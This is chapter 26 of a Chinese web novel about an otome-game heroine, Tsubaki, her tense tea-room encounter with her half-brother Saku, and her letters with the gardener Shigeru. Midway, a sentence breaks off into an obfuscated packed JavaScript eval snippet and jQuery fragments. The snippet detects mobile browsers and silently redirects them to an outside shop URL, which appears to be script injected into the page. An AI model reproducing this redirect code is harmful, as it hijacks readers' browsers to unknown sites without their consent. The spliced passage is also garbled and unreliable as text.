26. chapter 26

作品:《她是乙游女主【周目】

    窗外的秋雨似乎更密了些,敲打声愈发清晰,将椿从回忆中拉扯出来。


    她深吸一口气,定了定神,将杂念摒除继续下一个步骤。执起茶釜的柄,将热水缓缓注入茶碗,水流控制得极好。


    这时,茶室的纸门被无声地拉开了一道缝隙。


    是朔。


    他穿着一件深青灰色的家常和服,外面随意罩着件鼠色的羽织,头发似乎被廊外的雨气沾染,带着湿意。


    开门看见室内正在点茶的椿,动作顿住了,没有立刻进来,也没有退出去。


    室内的灯光是柔和的纸灯罩散发出的暖黄光晕,与门外灰蒙蒙的、带着水汽的天光截然不同。


    那道由门外渗入的光线恰好形成一道狭长的光带,落在椿跪坐时并拢的、覆盖在袴下的膝盖上,停留了好一会儿。


    椿没有理会门口的动静,她用茶筅开始快速而有力地搅动茶汤,手腕稳定,茶汤表面逐渐泛起细密均匀的绿色泡沫。


    朔在门口静立了片刻,见她毫无反应,便自顾自地走了进来,然后轻轻拉上了纸门,隔绝了外界的雨声与冷意。


    没有靠近,他在离门不远不近的位置寻了一个蒲团,安静地跪坐下来,如同许多年前那个傍晚他跪在门外等待时一样。


    茶室内,只剩下茶筅与茶碗边缘碰撞发出的声响,以及室外那永不停歇般的、淅淅沥沥的雨声。


    对于朔的不请自来与沉默跪坐,椿心中是避之不及的。


    然而此刻若她强行起身离开,反倒显得自己气弱,仿佛被他扰乱了心神。


    于是,她决定沿用多年来最有效,也最伤人的方式。


    她无视他,就如同一直以来那样。


    她收敛心神,将全部注意力重新倾注于手中的茶道。点茶的步骤缓缓推进,茶筅在茶碗中规律地搅动发出“沙沙”的轻响。


    当时辰已到,最后一步茶碗清洁后归位,一直沉默如影的朔才终于开口。


    他的声音在寂静的茶室里显得格外清晰,“姐姐点茶的技艺愈发精湛了,不真的可不可以赏我一杯?”


    椿眼帘未抬,听不出喜怒:“请便。”


    得到允许朔才缓缓起身,移至她正对面的位置,重新规整地跪坐下来。他伸出双手以茶道中标准的礼节,接过椿推至他面前的茶碗。


    左手托碗底,右手扶碗沿,先将茶碗向右转动两次,分三口缓缓将碧绿的茶汤饮尽,最后轻轻吸吮。


    饮毕他再次将茶碗转动,使正面朝向自己,然后轻轻放回原位。


    “跟原来一样。”他放下茶碗后,轻声说道。


    椿语气依旧冷淡:“练习了那么多年,若是还和小时候一样的话,那也太不应该了。”


    她以为他指的是茶的味道。


    朔垂眸,浓密的睫毛在眼下投下一小片阴影,他眨了眨眼才低声道:“不是这个意思。”


    不是这个意思?那是什么意思?


    他们两人说话,向来便是如此。话说一半,不说全,仿佛都在小心翼翼地试探着对方的边界,又都吝于给予明确的回应。


    若是将话说得太满,没有了转圜的余地,那才真是走到了无法回头的地步。


    就如同他们关系彻底破裂,她冲他声嘶力竭地喊:“我全世界最讨厌你。”


    其实那时心中翻涌的何止是讨厌,应该是恨。


    恨他的出现打破了家庭的平静,恨他母亲的身份,恨他分走了父亲的部分关注,更恨他那副总是隐忍、仿佛受了天大委屈的模样。


    但“我恨你”这三个字,终究太过决绝,想想便满口血腥,她终究未能说出口。


    小时候,每次她被森村老师责罚后掌心红肿,心情低落,朔便会拉着她在无人的角落陪她练习。那些因步骤错误或火候不佳而味道苦涩的废弃茶汤,最后几乎全都进了他的肚子里。


    他每次喝完,只会抬起那双清澈的眼睛看着她,认真地说:“好喝。”


    会好喝吗?


    椿至今回想起来,仍觉得不可思议。


    抹茶本身带着天然的苦味与涩感,需要精湛的点茶技巧和合适的水温才能激发出其后的回甘。那些失败的茶汤过于苦涩,对于味蕾敏感的孩子来说绝非愉快的体验。那更像是大人才会欣赏的、充满复杂性的味道。


    直到现在,椿自己其实也并不爱喝抹茶,她只是擅长表演茶道。


    不过现在想来,她人生中大半不成功的茶水,似乎都落入了朔的肚子里。而她人生中大半的、或认真或敷衍的茶道表演,观众似乎也只有他一人。


    想着这略带讽刺的现实,她不由得从鼻腔里轻轻哼笑了一声。


    见她笑了,一直观察着她神色的朔嘴角也微微向上牵动了一下,他轻声问:“姐姐在想什么?”


    椿摇了摇头,没有回答。


    窗外的雨声不知何时变得稀疏了些,茶室内暖黄的灯光笼罩着两人,空气中弥漫着抹茶的清苦香气和旧茣蓙的干燥气味。


    朔沉默了片刻,像是斟酌着词句。


    “听闻……一条家那边,似乎有将婚期提前的意向?”


    椿脸上的笑意落下,她继续着手上的动作,清理茶杓、茶筅,将它们一一归位。


    她没有回答。


    朔看着她瞬间冷下来的侧脸,伸出手,似乎想帮她收拾茶渣。


    “啪。”


    椿毫不客气地拍开了他伸过来的手,她抬起眼,“你总是这样。”


    他总是在气氛稍有缓和时,说出她最不想听的话,做她最不想看到的事,精准地破坏掉那一点点可怜的安宁。


    若是落在从前,她怕是早就动手了。


    刚得知父亲认下他的那段时日,椿是极其不待见他的。但他却像甩不掉的影子总是喜欢凑上来,他姓了成濑,出入宅邸各处便如同无人之境,他总是能轻易地找到她。


    有一次,她积压的怒火终于爆发,抓起随身携带的丝绸手袋没头没脑地朝他身上打去,一边打一边失控地哭喊:“为什么你总是这个样子?为什么总像哈巴狗一样凑上来?为什么总是一副受害人的模样?为什么明明知道怎么样会让我心烦,却总是要来惹我,把我衬得像个疯子一样?”


    她吼完这句话后,空气死寂。


    朔没有躲闪,也没有辩解,只是用那种她至今回想起来都觉得心悸的眼神望着她。


    没有人松口,就像在进行一场无声的较劲。


    不过就如同朔了解她如何能被刺痛一样,椿也同样了解他。


    她知道,比起刻薄的言语和冲动的暴力,彻底的无视才是最能令他感到悲伤和无力的方式。


    既然她不好过,她也绝不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277993|197308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    希望对方好过。


    于是从某一天起她开始彻底地无视他,这么一无视,便是许多年。


    *


    自那日茶室不欢而散后,椿便不再于家中练习茶道。


    她总是在学校的茶道部活动室,与顾问老师和部员们一同演练数轮,待技艺纯熟、心境平复后,方才返回成濑宅。


    父亲万太郎夏日祭典的繁忙早已告一段落,得了清闲,便注意到椿时常缺席家庭晚膳。


    他对此颇为不满,认为这有违家族团聚的礼数。几次三番让女侍传话后,椿无法再推脱,只得重新出现在晚餐的食案前。于是,便不可避免地要与朔对坐。


    食案之上,气氛比以往更加凝滞。


    椿与朔之间的话,比以往点头之交时更少,如今竟是连眼神交汇都嫌多余。


    她全程低眉敛目,专注于眼前的菜肴,仿佛对面坐着的只是一团空气。朔亦是沉默,只是偶尔椿能感觉到那道沉静的目光落在自己身上。


    这令她食欲都减了几分。


    之后石川茂那边隔三差五送至信笺,那些信总是被小心地压在椿房中每日更换鲜花的花瓶底下。


    茂平日里寡言少语,因耳疾之故,除了椿会不厌其烦地放慢语速、清晰发音与他交流外,宅邸中甚少有人与他多言。


    故而他能倾注于笔端的话语,竟不知不觉间模仿了椿的口吻与样式。


    椿什么都与他诉说,开心的如学校里有趣的课程,同学间无伤大雅的玩笑,茶道部练习的进展。不开心的如父亲对晚膳的苛责,以及那些挥之不去的梦境。


    而茂的回信,则像他照料的花草一般。


    他写近日修剪了哪几株过于繁盛的紫阳花残枝,又在苗圃的东南角新播下了明年早春才会开放的福寿草种子。


    写那几盆珍贵的寒兰需得格外留心,遇连绵阴雨需移入檐下,若逢秋阳过烈则要适当遮荫。


    写他观察着天气,记录着每一场秋雨过后,庭院里泥土的湿度和空气的凉意。


    他的世界简单而专注。


    后来椿又找了许多空白的稿纸给他,依旧是笑着说:“随便写,想到什么就写什么,不用舍不得。”


    她有空便教他新的字,有时是在午后无人的廊下,阳光暖暖地照着,她用手指在木地板上比划,或用树枝在沙土上书写。


    有时是在她放学归来,见他还在庭院劳作便唤他过来,就着夕阳的余晖,在随身携带的小本子上写下几个字。


    时间若再充裕些,她甚至会找来一些简短的和歌或汉诗,用舒缓的语调念给他听。


    椿依旧持续性地被梦境困扰。


    那些梦光怪陆离,有时是童年茶室森村老师的木尺,有时是东京博览会上熏与澄交错的身影,有时是辉夜在月光下偏执的泪眼,更多时候是一种无端的坠落与追逐感。


    每每醒来都觉身心俱疲,仿佛一夜未曾安眠。她在给茂的信中随口提了一句连续数日睡眠不佳,精神不济。


    不过几日当她某日回到房中,发现花瓶底下除了信笺,还多了一个素色的麻布睡枕。


    她好奇地拿起,闻到一股清幽恬淡的混合干花香。里面似乎塞满了晒干的薰衣草、洋甘菊和陈皮等物,都是民间常用的助眠安神之物。


    没有只言片语,但她知道这是茂的手笔。